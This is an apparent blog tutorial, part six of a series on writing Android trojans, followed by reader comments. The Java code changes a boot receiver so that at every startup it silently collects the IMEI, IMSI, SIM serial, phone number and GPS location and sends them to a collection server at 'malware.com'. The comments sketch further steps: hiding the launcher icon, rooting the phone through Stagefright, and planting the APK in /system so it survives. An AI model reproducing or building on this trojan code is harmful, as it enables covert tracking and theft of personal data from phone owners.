Dec 242013
 

As mentioned in the first post, I’d like to add just one simple function here and sum up.

We will make the phone vibrate every time it gets charged. First we add the permission “android.permission.VIBRATE” (as we already know):

2013-12-24 11_42_24-Java - Malware1_AndroidManifest.xml - ADT

Then we add the following code right after w.start() inside ChargeReceiver.java onReceive method:

 // vibrate 250ms
Vibrator v = (Vibrator) arg0.getSystemService(Context.VIBRATOR_SERVICE);
v.vibrate(250);

Note that 250ms may be too short on some devices, so that it will not vibrate at all. You can test using 1000ms or 500ms.

Also you might have noticed, that our application is starting up on every boot, which is not really desired for a trojan. The fix is easy, this is what BOOTReceiver.java looks like:

public class BOOTReceiver extends BroadcastReceiver {

  @Override
  public void onReceive(Context context, Intent intent) {
    Intent i = new Intent(context, MainActivity.class);
    i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    context.startActivity(i);
  }
}

We will simple change it to:

public class BOOTReceiver extends BroadcastReceiver {

  @Override
  public void onReceive(Context arg0, Intent arg1) {
    try {
      // get device location
      DeviceLocation d = new DeviceLocation();
      double[] location = d.getGPS(arg0);

      // send data to server
      WebHelper w = new WebHelper("http://www.malware.com/catcher.php",
          PhoneInfo.getMyIMEI(arg0),
          PhoneInfo.getMyIMSI(arg0),
          location[0],
          location[1],
          PhoneInfo.getMySIMSerial(arg0),
          PhoneInfo.getMyPhoneNumber(arg0));
      w.start();
    }
    catch (Exception e) {
      Log.e("malware", e.toString());
    }
  }
}

Exactly the same code the ChargeReceiver uses. You may also define the same class used by both broadcast events, but I will keep them separated, just in case you want to have different behavior.

The application will no longer show a screen (intent) when the device boots, but the code will run. In the next part we will remove the icon from the launcher.

  6 Responses to “Tutorial: Writing Android malware (trojans) Part 6”

  1. Hello adminze!, iv’e read yoir previous tutorials on writing Android malware and iv’e noticed you haven’t posted any tutorial after 6, iv’e enjoyed all your previous tutorials very much and i was hoping if maybe you could update if your planning on posting the rest of the tutorials.

    David

    • I didn’t have the time and the counter shows low interest in these…

      • I agree with david, i too have enjoyed them.
        i have searched through every post looking for the rest then returned to 6 and see these comments.
        Could you finish what you started or point us in the direction of further learning?
        Do you have jabber?

        • I don’t have the time at the moment, but here is a short guide
          part 7 – remove from manifest
          part 8 – needs root (easy now with stagefright), remount /system rw, move .apk to /system, remount ro
          part 9 – a bit too much for 1 sentence :)
          part 10 – see stagefright

  2. Hello, please could you explain part 7?
    It could be very useful for me,
    thanks!

    • I don’t have the time at the moment, but here is a short guide
      part 7 – remove from manifest
      part 8 – needs root (easy now with stagefright), remount /system rw, move .apk to /system, remount ro
      part 9 – a bit too much for 1 sentence :)
      part 10 – see stagefright

 Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

(required)

(required)